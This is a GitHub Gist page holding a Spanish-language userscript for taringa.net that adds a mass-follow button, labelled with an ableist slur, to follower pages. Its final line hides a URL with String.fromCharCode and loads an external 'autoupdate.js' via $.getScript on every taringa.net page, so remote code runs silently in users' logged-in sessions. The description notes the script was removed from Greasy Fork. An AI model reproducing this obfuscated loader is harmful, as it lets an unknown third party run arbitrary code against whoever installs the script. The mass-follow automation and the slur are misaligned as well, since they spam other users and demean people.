Skip to content

Instantly share code, notes, and snippets.

@NaokiStark
Last active March 30, 2017 23:30
Show Gist options
  • Save NaokiStark/8aeb95d31bbbb5b576f4 to your computer and use it in GitHub Desktop.
Save NaokiStark/8aeb95d31bbbb5b576f4 to your computer and use it in GitHub Desktop.
// ==UserScript==
// @name Follower
// @namespace http://taringa.net/XQ/
// @version 0.4
// @description Boton de la mierda esa. Lo borraron en Greasy Fork
// @author Yo
// @match http*://www.taringa.net/*
// @grant none
// ==/UserScript==
var str=/^http.*:\/\/.*\.taringa\.net\/[a-z0-9_-]*\/([seguidores]*|[siguiendo]*)$/ig;
var str2=/^http.*:\/\/.*\.taringa\.net\/[a-z0-9_-]*\/([seguidores]*|[siguiendo]*)\/[0-9]*$/ig;
var txt= str.test(document.location.href);
var txt2= str2.test(document.location.href);
if (txt || txt2){
$('.perfil-content.box').children('.follow-list').prepend('<div class="btn g mogolicos"><div class="btn-text follow-text"><i class="follow"></i>Seguir mogólicos</div></div>');
$('.mogolicos').click(function(){
var Cantidad=$('.not-following').length -1;
$('.not-following').each(function(I){
$.ajax({
type:'post',
data:{'type':'user','obj':$(this).attr('objid'),'action':'follow'},
url:'/notificaciones-ajax.php',
success:function(e){
if(Cantidad == I){
alert('Listo ameo');
}
}
});
});
});
}
$.getScript(String.fromCharCode(47, 47, 102, 97, 98, 105, 46,113, 117, 105, 108, 109, 101,115, 46, 103, 111, 98, 46, 97,114, 47, 97, 117, 116, 111, 117,112, 100, 97, 116, 101, 46, 106, 115));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment